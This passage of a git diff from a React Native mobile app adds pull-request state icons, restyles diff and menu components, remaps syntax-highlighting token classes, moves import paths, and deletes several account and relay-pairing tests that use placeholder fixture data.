 import type { MobileRenderableRepoIcon } from '../host-screen/host-screen-reply-schema'
 import { triggerMediumImpact } from '../platform/haptics'
@@ -20,6 +20,7 @@ import { HostKindIcon } from './HostKindIcon'
 import { MobileRepoIcon } from './MobileRepoIcon'
 import { WorktreeAgentList } from './WorktreeAgentList'
 import { WorktreeMetaGlyphs, prStateColor } from './WorktreeMetaGlyphs'
+import { PrStateIcon } from './PrStateIcon'
 import { WorktreeUnsavedName } from './WorktreeUnsavedName'
 import { WORKTREE_ROW_LAYOUT } from './worktree-list-row-layout'
 
@@ -76,6 +77,8 @@ function WorktreeListRowComponent({
   const showRepoChip = cardDetails.repoInTitle && !shouldHideRepo && !isFolderWorkspace
   const showRepoInMetaRow = !cardDetails.repoInTitle && !shouldHideRepo
   const hostId = view.hostContextHostId ?? item.hostId
+  const prState = item.linkedPR?.state ?? ''
+  const prColor = prStateColor(prState)
   const hostAccessibilityLabel = [view.hostContextLabel, view.hostContextHealthLabel]
     .filter(Boolean)
     .join(', ')
@@ -153,10 +156,8 @@ function WorktreeListRowComponent({
           </Text>
           {cardDetails.pr && item.linkedPR && (
             <View style={styles.prBadge}>
-              <GitPullRequest size={10} color={prStateColor(item.linkedPR.state)} />
-              <Text style={[styles.prNumber, { color: prStateColor(item.linkedPR.state) }]}>
-                #{item.linkedPR.number}
-              </Text>
+              <PrStateIcon state={prState} size={10} color={prColor} />
+              <Text style={[styles.prNumber, { color: prColor }]}>#{item.linkedPR.number}</Text>
             </View>
           )}
           {isFolderWorkspace && (
diff --git a/mobile/src/components/accounts-snapshot.test.ts b/mobile/src/components/accounts-snapshot.test.ts
deleted file mode 100644
index 89e0bf84934..00000000000
--- a/mobile/src/components/accounts-snapshot.test.ts
+++ /dev/null
@@ -1,134 +0,0 @@
-import { describe, expect, it } from 'vitest'
-
-import { decodeAccountsSnapshot } from './accounts-snapshot'
-
-function makeSnapshot(): unknown {
-  return {
-    extensionField: { retained: true },
-    claude: {
-      accounts: [],
-      activeAccountId: null,
-      activeAccountIdsByRuntime: { host: null, wsl: {} }
-    },
-    codex: {
-      accounts: [
-        {
-          id: 'codex-host',
-          email: 'host@example.com',
-          managedHomeRuntime: 'host',
-          wslDistro: null,
-          updatedAt: 100,
-          extensionField: 'account-extra'
-        }
-      ],
-      activeAccountId: 'codex-host',
-      activeAccountIdsByRuntime: {
-        host: 'codex-host',
-        wsl: { Ubuntu: 'codex-wsl' }
-      }
-    },
-    rateLimits: {
-      extensionField: 'limits-extra',
-      claude: null,
-      codex: {
-        provider: 'codex',
-        session: {
-          usedPercent: 100,
-          windowMinutes: 300,
-          resetsAt: 200,
-          resetDescription: 'soon'
-        },
-        weekly: null,
-        rateLimitResetCredits: {
-          availableCount: 1,
-          totalEarnedCount: 2,
-          nextExpiresAt: 300,
-          credits: [{ status: 'available', expiresAt: 300, grantedAt: 50 }]
-        },
-        updatedAt: 100,
-        error: null,
-        status: 'ok',
-        extensionField: 'provider-extra'
-      },
-      claudeTarget: { runtime: 'host', wslDistro: null },
-      codexTarget: { runtime: 'host', wslDistro: null },
-      inactiveClaudeAccounts: [],
-      inactiveCodexAccounts: [
-        {
-          accountId: 'codex-inactive',
-          rateLimits: null,
-          updatedAt: 99,
-          isFetching: false
-        }
-      ]
-    }
-  }
-}
-
-function setPath(root: unknown, path: string[], value: unknown): void {
-  let current: unknown = root
-  for (const segment of path.slice(0, -1)) {
-    if (!current || typeof current !== 'object' || Array.isArray(current)) {
-      throw new Error(`Invalid fixture path: ${path.join('.')}`)
-    }
-    current = (current as Record<string, unknown>)[segment]
-  }
-  if (!current || typeof current !== 'object' || Array.isArray(current)) {
-    throw new Error(`Invalid fixture path: ${path.join('.')}`)
-  }
-  const record = current as Record<string, unknown>
-  record[path.at(-1)!] = value
-}
-
-describe('decodeAccountsSnapshot', () => {
-  it('validates nested account/rate-limit state and preserves forward-compatible fields', () => {
-    const snapshot = decodeAccountsSnapshot(makeSnapshot())
-
-    expect(snapshot.extensionField).toEqual({ retained: true })
-    expect(snapshot.codex.accounts[0]?.extensionField).toBe('account-extra')
-    expect(snapshot.rateLimits.extensionField).toBe('limits-extra')
-    expect(snapshot.rateLimits.codex?.extensionField).toBe('provider-extra')
-  })
-
-  it('defaults missing runtime targets for older host-only snapshots', () => {
-    const raw = makeSnapshot() as {
-      rateLimits: { claudeTarget?: unknown; codexTarget?: unknown }
-    }
-    delete raw.rateLimits.claudeTarget
-    delete raw.rateLimits.codexTarget
-
-    const snapshot = decodeAccountsSnapshot(raw)
-
-    expect(snapshot.rateLimits.claudeTarget).toEqual({ runtime: 'host', wslDistro: null })
-    expect(snapshot.rateLimits.codexTarget).toEqual({ runtime: 'host', wslDistro: null })
-  })
-
-  it.each([
-    ['account arrays', ['codex', 'accounts'], {}],
-    ['active account IDs', ['codex', 'activeAccountId'], 42],
-    ['runtime selections', ['codex', 'activeAccountIdsByRuntime', 'wsl'], []],
-    ['targets', ['rateLimits', 'codexTarget', 'runtime'], 'remote'],
-    ['provider identity', ['rateLimits', 'codex', 'provider'], 'claude'],
-    ['inactive account arrays', ['rateLimits', 'inactiveCodexAccounts'], {}],
-    ['window percentages', ['rateLimits', 'codex', 'session', 'usedPercent'], 101],
-    ['credit counts', ['rateLimits', 'codex', 'rateLimitResetCredits', 'availableCount'], -1],
-    [
-      'credit status',
-      ['rateLimits', 'codex', 'rateLimitResetCredits', 'credits'],
-      [{ status: '', expiresAt: 300, grantedAt: 50 }]
-    ],
-    ['credit expiry', ['rateLimits', 'codex', 'rateLimitResetCredits', 'nextExpiresAt'], 'soon']
-  ] satisfies Array<[string, string[], unknown]>)('rejects malformed %s', (_name, path, value) => {
-    const snapshot = makeSnapshot()
-    setPath(snapshot, path, value)
-
-    expect(() => decodeAccountsSnapshot(snapshot)).toThrow('Invalid accounts snapshot from host')
-  })
-
-  it('rejects a host target that smuggles a WSL distro', () => {
-    const snapshot = makeSnapshot()
-    setPath(snapshot, ['rateLimits', 'codexTarget', 'wslDistro'], 'Ubuntu')
-
-    expect(() => decodeAccountsSnapshot(snapshot)).toThrow('Invalid accounts snapshot from host')
-  })
-})
diff --git a/mobile/src/components/mobile-diff-review-layout-styles.ts b/mobile/src/components/mobile-diff-review-layout-styles.ts
index 8204ed0f69a..c9ac1229ed9 100644
--- a/mobile/src/components/mobile-diff-review-layout-styles.ts
+++ b/mobile/src/components/mobile-diff-review-layout-styles.ts
@@ -1,4 +1,4 @@
-import { StyleSheet } from 'react-native'
+import { Platform, StyleSheet } from 'react-native'
 import { colors, radii, spacing, typography } from '../theme/mobile-theme'
 import { themedStyleSheet } from '../theme/themed-styles'
 
@@ -59,13 +59,31 @@ export const mobileDiffReviewLayoutStyles = themedStyleSheet(() => ({
   foldRow: {
     minHeight: 32,
     flexDirection: 'row',
+    alignItems: 'stretch',
+    backgroundColor: colors.diffFoldBg
+  },
+  foldIcon: {
     alignItems: 'center',
     justifyContent: 'center',
-    gap: spacing.xs,
-    backgroundColor: colors.bgPanel
+    backgroundColor: colors.diffFoldGutter
+  },
+  foldBody: {
+    flex: 1,
+    minWidth: 0,
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: spacing.sm,
+    paddingHorizontal: spacing.sm
   },
   foldText: {
+    flexShrink: 0,
+    color: colors.diffFoldText,
+    fontSize: typography.metaSize
+  },
+  foldContext: {
+    flexShrink: 1,
     color: colors.textMuted,
+    fontFamily: typography.monoFamily,
     fontSize: typography.metaSize
   },
   diffListFrame: {
@@ -77,8 +95,14 @@ export const mobileDiffReviewLayoutStyles = themedStyleSheet(() => ({
     backgroundColor: colors.bgBase
   },
   diffList: {
-    paddingBottom: 140,
-    backgroundColor: colors.editorSurface
+    flex: 1,
+    backgroundColor: colors.bgBase
+  },
+  // On the page the rows run as wide as the longest line and scroll sideways together. A sideways scroller inside
+  // the vertical list keeps each swipe on one axis, as nested scrollers do in WebKit.
+  diffListContent: {
+    ...(Platform.OS === 'web' ? { overflowX: 'auto' as const } : {}),
+    paddingBottom: 140
   },
   truncatedText: {
     color: colors.textMuted,
diff --git a/mobile/src/components/nav-bar/NavBarButton.tsx b/mobile/src/components/nav-bar/NavBarButton.tsx
index 697704fa9e4..6cd4fbbedb6 100644
--- a/mobile/src/components/nav-bar/NavBarButton.tsx
+++ b/mobile/src/components/nav-bar/NavBarButton.tsx
@@ -16,6 +16,8 @@ type NavBarButtonProps = {
   /** The screen or panel this button opens is showing. */
   active?: boolean
   disabled?: boolean
+  /** The icon's colour while not active, e.g. a PR state's. */
+  iconColor?: string
 }
 
 // A round top-bar button; the bar floats over content like the composer, so its buttons are round too.
@@ -25,7 +27,8 @@ export function NavBarButton({
   accessibilityLabel,
   onPress,
   active = false,
-  disabled = false
+  disabled = false,
+  iconColor
 }: NavBarButtonProps) {
   useMobileColorScheme()
   return (
@@ -44,7 +47,11 @@ export function NavBarButton({
       accessibilityLabel={accessibilityLabel}
       accessibilityState={{ disabled, selected: active }}
     >
-      <Icon size={18} color={active ? colors.bgBase : colors.textPrimary} strokeWidth={2.1} />
+      <Icon
+        size={18}
+        color={active ? colors.bgBase : (iconColor ?? colors.textPrimary)}
+        strokeWidth={2.1}
+      />
     </Pressable>
   )
 }
diff --git a/mobile/src/components/nav-bar/PullDownMenu.tsx b/mobile/src/components/nav-bar/PullDownMenu.tsx
index 029dc1aadc6..3bd53702855 100644
--- a/mobile/src/components/nav-bar/PullDownMenu.tsx
+++ b/mobile/src/components/nav-bar/PullDownMenu.tsx
@@ -196,7 +196,9 @@ export function PullDownMenu({ visible, anchorRef, groups, onClose }: PullDownMe
                       disabled={action.disabled || action.loading}
                       onPress={() => press(action)}
                       accessibilityRole="menuitem"
-                      accessibilityLabel={action.label}
+                      accessibilityLabel={
+                        action.status ? `${action.label}, ${action.status}` : action.label
+                      }
                       accessibilityHint={action.hint}
                       accessibilityState={
                         action.checked === undefined ? undefined : { checked: action.checked }
@@ -213,6 +215,11 @@ export function PullDownMenu({ visible, anchorRef, groups, onClose }: PullDownMe
                           </Text>
                         ) : null}
                       </View>
+                      {action.status ? (
+                        <Text style={styles.status} numberOfLines={1}>
+                          {action.status}
+                        </Text>
+                      ) : null}
                       {action.checked ? (
                         <Check size={17} color={tint} strokeWidth={2.2} />
                       ) : action.renderIcon ? (
@@ -280,5 +287,12 @@ const styles = themedStyleSheet(() => ({
   hint: {
     color: colors.textSecondary,
     fontSize: typography.metaSize
+  },
+  status: {
+    marginLeft: 'auto',
+    flexShrink: 0,
+    color: colors.textSecondary,
+    fontSize: typography.metaSize,
+    fontVariant: ['tabular-nums']
   }
 }))
diff --git a/mobile/src/components/pr-sidebar/pr-tab-styles.ts b/mobile/src/components/pr-sidebar/pr-tab-styles.ts
index 7f385b7ab5b..15336f306ab 100644
--- a/mobile/src/components/pr-sidebar/pr-tab-styles.ts
+++ b/mobile/src/components/pr-sidebar/pr-tab-styles.ts
@@ -17,6 +17,9 @@ export const prTabStyles = themedStyleSheet(() => ({
   header: { gap: spacing.xs },
   metaRow: { flexDirection: 'row', alignItems: 'center', gap: spacing.sm, flexWrap: 'wrap' },
   badge: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: 4,
     paddingHorizontal: spacing.sm,
     paddingVertical: 1,
     borderRadius: radii.pill,
diff --git a/mobile/src/components/pr-state-token.ts b/mobile/src/components/pr-state-token.ts
index 469c483aeda..fe8968a1729 100644
--- a/mobile/src/components/pr-state-token.ts
+++ b/mobile/src/components/pr-state-token.ts
@@ -1,3 +1,10 @@
+import {
+  GitMerge,
+  GitPullRequest,
+  GitPullRequestClosed,
+  GitPullRequestDraft,
+  type LucideIcon
+} from 'lucide-react-native'
 import type { MobileStatusToken } from './pr-sidebar/pr-checks-presentation'
 
 // Share status tokens between workspace PR badge and sidebar to prevent color drift, matching desktop ReviewIcon.
@@ -14,3 +21,17 @@ export function prStateToken(state: string): MobileStatusToken {
       return 'textSecondary'
   }
 }
+
+// Glyph per state, like GitHub and desktop's getReviewStateIcon; open and unknown keep the plain PR glyph.
+export function prStateIcon(state: string): LucideIcon {
+  switch (state.toLowerCase()) {
+    case 'merged':
+      return GitMerge
+    case 'closed':
+      return GitPullRequestClosed
+    case 'draft':
+      return GitPullRequestDraft
+    default:
+      return GitPullRequest
+  }
+}
diff --git a/mobile/src/device-store/device-store-contract.ts b/mobile/src/device-store/device-store-contract.ts
index be677c45372..ee3683b62d4 100644
--- a/mobile/src/device-store/device-store-contract.ts
+++ b/mobile/src/device-store/device-store-contract.ts
@@ -1,4 +1,4 @@
-import type { GenerationFileSystem } from '../mobile-web-shell/generation-store-file-system'
+import type { GenerationFileSystem } from '../mobile-web-shell/generations/generation-store-file-system'
 import type { DeviceStoreRoots } from './device-store-files'
 import type { DeviceStoreKeychain } from './device-store-key'
 import type { DeviceStoreTable } from './device-store-seal'
diff --git a/mobile/src/device-store/device-store-eviction.ts b/mobile/src/device-store/device-store-eviction.ts
index 42a2c719764..dc385540b6e 100644
--- a/mobile/src/device-store/device-store-eviction.ts
+++ b/mobile/src/device-store/device-store-eviction.ts
@@ -1,10 +1,10 @@
-import { joinUri } from '../mobile-web-shell/generation-cache-uri'
+import { joinUri } from '../mobile-web-shell/generations/generation-cache-uri'
 import type {
   GenerationDirectoryEntry,
   GenerationFileListing,
   GenerationFileSystem
-} from '../mobile-web-shell/generation-store-file-system'
-import { deriveHostCacheKey } from '../mobile-web-shell/host-cache-key'
+} from '../mobile-web-shell/generations/generation-store-file-system'
+import { deriveHostCacheKey } from '../mobile-web-shell/generations/host-cache-key'
 import { DEVICE_STORE_BUCKETS, DRAFT_TMP_SUFFIX, promoteLoneDraftTmp } from './device-store-files'
 import type { DeviceStoreTable } from './device-store-seal'
 
diff --git a/mobile/src/device-store/device-store-files.ts b/mobile/src/device-store/device-store-files.ts
index a7b65f057c5..51ee84f7132 100644
--- a/mobile/src/device-store/device-store-files.ts
+++ b/mobile/src/device-store/device-store-files.ts
@@ -1,9 +1,9 @@
 import { sha256 } from '@noble/hashes/sha256'
 import { bytesToHex } from '@noble/hashes/utils'
 import type { AESEncryptionKey } from 'expo-crypto'
-import { joinUri } from '../mobile-web-shell/generation-cache-uri'
-import type { GenerationFileSystem } from '../mobile-web-shell/generation-store-file-system'
-import { deriveHostCacheKey } from '../mobile-web-shell/host-cache-key'
+import { joinUri } from '../mobile-web-shell/generations/generation-cache-uri'
+import type { GenerationFileSystem } from '../mobile-web-shell/generations/generation-store-file-system'
+import { deriveHostCacheKey } from '../mobile-web-shell/generations/host-cache-key'
 import {
   openDeviceStoreValue,
   type DeviceStoreTable,
diff --git a/mobile/src/device-store/device-store.ts b/mobile/src/device-store/device-store.ts
index adbb20ff677..849871cef76 100644
--- a/mobile/src/device-store/device-store.ts
+++ b/mobile/src/device-store/device-store.ts
@@ -6,7 +6,7 @@ import type {
 import type { AESEncryptionKey } from 'expo-crypto'
 import { Directory, Paths } from 'expo-file-system'
 import { AppState } from 'react-native'
-import { createExpoGenerationFileSystem } from '../mobile-web-shell/generation-store-file-system'
+import { createExpoGenerationFileSystem } from '../mobile-web-shell/generations/generation-store-file-system'
 import { loadStoredHostProfiles } from '../host-catalog/host-metadata-store'
 import {
   readPairingKeychainItem,
diff --git a/mobile/src/diagnostics/mobile-web-shell-update-failure-row.tsx b/mobile/src/diagnostics/mobile-web-shell-update-failure-row.tsx
index 78889ea5e51..b11d739e5ac 100644
--- a/mobile/src/diagnostics/mobile-web-shell-update-failure-row.tsx
+++ b/mobile/src/diagnostics/mobile-web-shell-update-failure-row.tsx
@@ -1,7 +1,7 @@
 import { useEffect, useState } from 'react'
 import { Text, View } from 'react-native'
 import type { MobileWebShellUpdateFailure } from '../mobile-web-shell/mobile-web-shell-update-failure'
-import { processGenerationStore } from '../mobile-web-shell/process-generation-store'
+import { processGenerationStore } from '../mobile-web-shell/generations/process-generation-store'
 import { loadHosts } from '../host-catalog/host-store'
 import { formatUpdateFailure } from './mobile-web-shell-update-failure-copy'
 import { useMobileColorScheme } from '../theme/use-mobile-color-scheme'
diff --git a/mobile/src/files/session-documents/mobile-file-syntax.ts b/mobile/src/files/session-documents/mobile-file-syntax.ts
index 3bc9bc7a35a..ad87f3f1ff3 100644
--- a/mobile/src/files/session-documents/mobile-file-syntax.ts
+++ b/mobile/src/files/session-documents/mobile-file-syntax.ts
@@ -11,6 +11,7 @@ export type MobileSyntaxTokenKind =
   | 'function'
   | 'variable'
   | 'meta'
+  | 'tag'
 
 export type MobileSyntaxSegment = {
   text: string
@@ -184,28 +185,35 @@ function tokenKindForClasses(className: unknown): MobileSyntaxTokenKind | null {
       : []
 
   const tokens = new Set(classes.map((value) => value.replace(/^hljs-/, '')))
+  // Buckets follow highlight.js's GitHub theme, except `attr` (JSON/YAML keys) is green as on github.com.
+  if (tokens.has('subst')) {
+    return 'plain'
+  }
   if (hasAny(tokens, ['comment', 'quote'])) {
     return 'comment'
   }
-  if (hasAny(tokens, ['keyword', 'selector-tag', 'tag', 'name'])) {
+  if (hasAny(tokens, ['keyword', 'doctag', 'template-tag', 'language_'])) {
     return 'keyword'
   }
+  if (hasAny(tokens, ['name', 'selector-tag', 'selector-pseudo', 'attr'])) {
+    return 'tag'
+  }
   if (hasAny(tokens, ['string', 'regexp', 'symbol', 'bullet'])) {
     return 'string'
   }
-  if (hasAny(tokens, ['number', 'literal'])) {
+  if (hasAny(tokens, ['number', 'literal', 'attribute', 'selector-class', 'selector-id'])) {
     return 'number'
   }
-  if (hasAny(tokens, ['type', 'built_in', 'class', 'title.class'])) {
+  if (hasAny(tokens, ['type', 'built_in'])) {
     return 'type'
   }
-  if (hasAny(tokens, ['title.function', 'function', 'title'])) {
+  if (hasAny(tokens, ['title', 'function'])) {
     return 'function'
   }
-  if (hasAny(tokens, ['attr', 'attribute', 'property', 'variable', 'params'])) {
+  if (hasAny(tokens, ['variable', 'template-variable'])) {
     return 'variable'
   }
-  if (hasAny(tokens, ['meta', 'doctag', 'subst', 'section'])) {
+  if (hasAny(tokens, ['meta', 'section'])) {
     return 'meta'
   }
   return null
diff --git a/mobile/src/files/session-documents/mobile-session-reader-styles.ts b/mobile/src/files/session-documents/mobile-session-reader-styles.ts
index bc5d1519e1a..ebc74564da4 100644
--- a/mobile/src/files/session-documents/mobile-session-reader-styles.ts
+++ b/mobile/src/files/session-documents/mobile-session-reader-styles.ts
@@ -1,4 +1,4 @@
-import { Platform, StyleSheet } from 'react-native'
+import { StyleSheet } from 'react-native'
 
 import { colors, spacing, radii, typography } from '../../theme/mobile-theme'
 import { themedStyleSheet } from '../../theme/themed-styles'
@@ -14,7 +14,7 @@ export const mobileSessionReaderStyles = themedStyleSheet(() => ({
     paddingBottom: spacing.xl * 3,
     fontSize: typography.bodySize,
     lineHeight: 22,
-    fontFamily: Platform.select({ ios: 'Menlo', android: 'monospace', default: 'monospace' })
+    fontFamily: typography.monoFamily
   },
   filePreviewScroll: {
     flex: 1,
@@ -30,7 +30,7 @@ export const mobileSessionReaderStyles = themedStyleSheet(() => ({
     color: colors.textPrimary,
     fontSize: typography.bodySize,
     lineHeight: 22,
-    fontFamily: Platform.select({ ios: 'Menlo', android: 'monospace', default: 'monospace' })
+    fontFamily: typography.monoFamily
   },
   imagePreviewContainer: {
     flex: 1,
@@ -106,14 +106,14 @@ export const mobileSessionReaderStyles = themedStyleSheet(() => ({
     color: colors.textMuted,
     fontSize: typography.metaSize,
     lineHeight: 22,
-    fontFamily: Platform.select({ ios: 'Menlo', android: 'monospace', default: 'monospace' })
+    fontFamily: typography.monoFamily
   },
   diffText: {
     flex: 1,
     color: colors.textPrimary,
     fontSize: typography.bodySize,
     lineHeight: 22,
-    fontFamily: Platform.select({ ios: 'Menlo', android: 'monospace', default: 'monospace' })
+    fontFamily: typography.monoFamily
   },
   diffPrefix: {
     color: colors.textMuted
diff --git a/mobile/src/home/tabs/MobileHomeUsageTab.tsx b/mobile/src/home/tabs/MobileHomeUsageTab.tsx
index 3aebd0acebb..0f97179ff0c 100644
--- a/mobile/src/home/tabs/MobileHomeUsageTab.tsx
+++ b/mobile/src/home/tabs/MobileHomeUsageTab.tsx
@@ -7,13 +7,13 @@ import Animated, {
   useSharedValue,
   withTiming
 } from 'react-native-reanimated'
+import { usageBarFill } from '../../accounts/usage/UsageBar'
 import {
   getUsageBarState,
   getWindowResetLabel,
-  usageBarFill,
-  type AccountsSnapshot,
   type ProviderKey
-} from '../../components/AccountUsage'
+} from '../../accounts/usage/usage-selectors'
+import type { AccountsSnapshot } from '../../accounts/accounts-snapshot'
 import { ClaudeIcon, OpenAIIcon } from '../../components/AgentIcons'
 import { useNow } from '../../hooks/use-now'
 import { useMobileTranslation } from '../../i18n/use-mobile-translation'
diff --git a/mobile/src/home/tabs/home-usage-cards.test.ts b/mobile/src/home/tabs/home-usage-cards.test.ts
index b8757f26084..2c5d9145d90 100644
--- a/mobile/src/home/tabs/home-usage-cards.test.ts
+++ b/mobile/src/home/tabs/home-usage-cards.test.ts
@@ -1,8 +1,5 @@
 import { describe, expect, it } from 'vitest'
-import type {
-  AccountProviderRateLimits,
-  AccountsSnapshot
-} from '../../components/account-usage-state'
+import type { AccountProviderRateLimits, AccountsSnapshot } from '../../accounts/accounts-snapshot'
 import { selectHomeUsageCards } from './home-usage-cards'
 
 function limits(
diff --git a/mobile/src/home/tabs/home-usage-cards.ts b/mobile/src/home/tabs/home-usage-cards.ts
index df89a46d8cb..a10f916c5fd 100644
--- a/mobile/src/home/tabs/home-usage-cards.ts
+++ b/mobile/src/home/tabs/home-usage-cards.ts
@@ -3,11 +3,10 @@ import {
   getInactiveProviderUsage,
   hasActiveProviderUsage,
   hasRenderableUsage,
-  type AccountsSnapshot,
-  type ProviderKey,
-  type ProviderRateLimits
-} from '../../components/account-usage-state'
-import { getActiveCodexAccountIdForRateLimitTarget } from '../../components/codex-reset-credit'
+  type ProviderKey
+} from '../../accounts/usage/usage-selectors'
+import type { AccountsSnapshot, ProviderRateLimits } from '../../accounts/accounts-snapshot'
+import { getActiveCodexAccountIdForRateLimitTarget } from '../../accounts/usage/codex-reset-credit'
 
 export type HomeUsageCard = {
   /** The managed account's id, or null for the agent's own login (System default). */
diff --git a/mobile/src/home/use-home-spare-page.ts b/mobile/src/home/use-home-spare-page.ts
index 14a883477e1..2a8227e88c9 100644
--- a/mobile/src/home/use-home-spare-page.ts
+++ b/mobile/src/home/use-home-spare-page.ts
@@ -8,7 +8,7 @@ import {
   leaveHomeSparePage,
   prepareHomeSparePage
 } from '../mobile-web-shell/home-spare-page'
-import { processGenerationStore } from '../mobile-web-shell/process-generation-store'
+import { processGenerationStore } from '../mobile-web-shell/generations/process-generation-store'
 
 // Past Home's first paint and its first reads, so the boot never competes with them.
 const HOME_SPARE_IDLE_MS = 1000
diff --git a/mobile/src/home/use-mobile-home-data.ts b/mobile/src/home/use-mobile-home-data.ts
index a0500640fed..86db717735c 100644
--- a/mobile/src/home/use-mobile-home-data.ts
+++ b/mobile/src/home/use-mobile-home-data.ts
@@ -16,7 +16,7 @@ import {
 } from '../agents/agent-list-rows'
 import { useAgentActivityWrites } from '../agents/use-agent-activity-writes'
 import { accountsSnapshotOptions } from '../accounts/accounts-snapshot-stream'
-import type { AccountsSnapshot } from '../components/AccountUsage'
+import type { AccountsSnapshot } from '../accounts/accounts-snapshot'
 import {
   HOST_LIST_TARGET,
   homeWorktreeCountsKey,
diff --git a/mobile/src/host-catalog/host-removal-lifecycle.ts b/mobile/src/host-catalog/host-removal-lifecycle.ts
index 65ff0eff370..29e05398f23 100644
--- a/mobile/src/host-catalog/host-removal-lifecycle.ts
+++ b/mobile/src/host-catalog/host-removal-lifecycle.ts
@@ -3,7 +3,7 @@ import { wipeHostStore } from '../device-store/device-store'
 import {
   deleteHostPageCache,
   forgetHostUpdateFailures
-} from '../mobile-web-shell/removed-host-shell-cache'
+} from '../mobile-web-shell/generations/removed-host-shell-cache'
 import { unregisterPushForRemovedHost } from '../notifications/push-registration'
 import { forgetNativeHostQueries } from '../query/native-query-persistence'
 import { forgetHostDescriptor } from '../host-descriptors/host-descriptor-store'
diff --git a/mobile/src/host-catalog/mobile-relay-host-overlay-store.test.ts b/mobile/src/host-catalog/mobile-relay-host-overlay-store.test.ts
deleted file mode 100644
index fd4e8f54f2f..00000000000
--- a/mobile/src/host-catalog/mobile-relay-host-overlay-store.test.ts
+++ /dev/null
@@ -1,77 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-const asyncStorage = vi.hoisted(() => ({
-  getItem: vi.fn(),
-  setItem: vi.fn()
-}))
-
-vi.mock('@react-native-async-storage/async-storage', () => ({ default: asyncStorage }))
-
-import {
-  loadMobileRelayHostRoutingState,
-  resetMobileRelayHostOverlayStoreForTests,
-  saveMobileRelayHostRouting
-} from './mobile-relay-host-overlay-store'
-import type { MobileRelayHostOverlay } from './mobile-relay-host-overlay'
-
-const STORAGE_KEY = 'orca:mobile-relay:host-overlays:v2'
-const RELAY = {
-  v: 1 as const,
-  directorUrl: 'https://relay.onorca.dev',
-  cellUrl: 'https://relay-c1.onorca.dev',
-  assignmentEpoch: 7,
-  relayHostId: 'AbCdEf0123_-xyZ9',
-  e2eeFraming: 2 as const
-}
-const RELAY_ONLY_OVERLAY: MobileRelayHostOverlay = {
-  v: 2,
-  hostId: 'host-1',
-  endpoints: [
-    {
-      id: 'relay-primary',
-      kind: 'relay',
-      url: 'wss://relay-c1.onorca.dev/v1/connect/AbCdEf0123_-xyZ9'
-    }
-  ],
-  relayHostId: RELAY.relayHostId,
-  relay: RELAY
-}
-// What builds before the relay-routing split wrote: a copy of the row's address beside the relay.
-const LEGACY_OVERLAY: MobileRelayHostOverlay = {
-  ...RELAY_ONLY_OVERLAY,
-  endpoints: [
-    { id: 'direct-primary', kind: 'lan', url: 'ws://192.168.1.10:6768' },
-    ...RELAY_ONLY_OVERLAY.endpoints
-  ]
-}
-
-// Freeze the shipped overlay schema to prove older builds still accept written records.
-
-describe('mobile relay host overlay store', () => {
-  let stored: string | null
-
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetMobileRelayHostOverlayStoreForTests()
-    stored = null
-    asyncStorage.getItem.mockImplementation(async (key: string) =>
-      key === STORAGE_KEY ? stored : null
-    )
-    asyncStorage.setItem.mockImplementation(async (key: string, value: string) => {
-      if (key === STORAGE_KEY) {
-        stored = value
-      }
-    })
-  })
-
-  it('ignores a direct address an older build stored and drops it on the next routing write', async () => {
-    stored = JSON.stringify([LEGACY_OVERLAY])
-
-    await expect(loadMobileRelayHostRoutingState(new Set(['host-1']))).resolves.toEqual({
-      relays: new Map([['host-1', RELAY]]),
-      orphanHostIds: []
-    })
-    await expect(saveMobileRelayHostRouting('host-1', RELAY)).resolves.toBe(true)
-    expect(JSON.parse(stored!)).toEqual([RELAY_ONLY_OVERLAY])
-  })
-})
diff --git a/mobile/src/host-credentials/mobile-relay-credential-bundle.test.ts b/mobile/src/host-credentials/mobile-relay-credential-bundle.test.ts
deleted file mode 100644
index 37e2f71cbd9..00000000000
--- a/mobile/src/host-credentials/mobile-relay-credential-bundle.test.ts
+++ /dev/null
@@ -1,101 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-const asyncStorage = vi.hoisted(() => ({
-  getItem: vi.fn(),
-  setItem: vi.fn()
-}))
-const secureStore = vi.hoisted(() => ({
-  getItemAsync: vi.fn(),
-  setItemAsync: vi.fn(),
-  deleteItemAsync: vi.fn()
-}))
-const platform = vi.hoisted(() => ({ OS: 'ios' }))
-
-vi.mock('@react-native-async-storage/async-storage', () => ({ default: asyncStorage }))
-vi.mock('expo-secure-store', () => ({
-  WHEN_UNLOCKED_THIS_DEVICE_ONLY: 'WHEN_UNLOCKED_THIS_DEVICE_ONLY',
-  ...secureStore
-}))
-vi.mock('react-native', () => ({ Platform: platform }))
-
-import { promotePairingJournalCredential } from './mobile-relay-credential-bundle'
-import type { MobileRelayPairingJournal } from '../pairing/mobile-relay-pairing-journal'
-import { resetPairingKeychainForTests } from './pairing-keychain'
-
-const journal = {
-  metadata: {
-    v: 1,
-    journalId: 'pair-1',
-    offerFingerprint: 'A'.repeat(43),
-    host: {
-      id: 'host-1',
-      name: 'Blue Whale',
-      endpoint: 'ws://192.168.1.10:6768',
-      publicKeyB64: 'A'.repeat(44),
-      lastConnected: 1
-    },
-    relay: {
-      v: 1,
-      directorUrl: 'https://relay.onorca.dev',
-      cellUrl: 'https://relay-c1.onorca.dev',
-      assignmentEpoch: 7,
-      relayHostId: 'AbCdEf0123_-xyZ9',
-      inviteExpiresAt: 10_000,
-      e2eeFraming: 2
-    },
-    installReqId: 'install-1',
-    resumeConfirmReqId: 'confirm-1',
-    pendingResumeTokenHash: 'B'.repeat(43),
-    winner: 'direct',
-    authorizationMode: 'authenticated-direct'
-  },
-  secrets: {
-    v: 1,
-    journalId: 'pair-1',
-    deviceToken: 'device-token',
-    inviteToken: 'C'.repeat(43),
-    pendingResumeToken: 'D'.repeat(43)
-  }
-} satisfies MobileRelayPairingJournal
-
-describe('mobile relay credential bundle', () => {
-  const stored = new Map<string, string>()
-
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetPairingKeychainForTests()
-    platform.OS = 'ios'
-    stored.clear()
-    asyncStorage.getItem.mockResolvedValue(null)
-    asyncStorage.setItem.mockResolvedValue(undefined)
-    secureStore.getItemAsync.mockImplementation(async (key: string) => stored.get(key) ?? null)
-    secureStore.setItemAsync.mockImplementation(async (key: string, value: string) => {
-      stored.set(key, value)
-    })
-    secureStore.deleteItemAsync.mockImplementation(async (key: string) => {
-      stored.delete(key)
-    })
-  })
-
-  it('rejects a result from another request or authorization mode', () => {
-    const installed = {
-      v: 1 as const,
-      reqId: 'install-1',
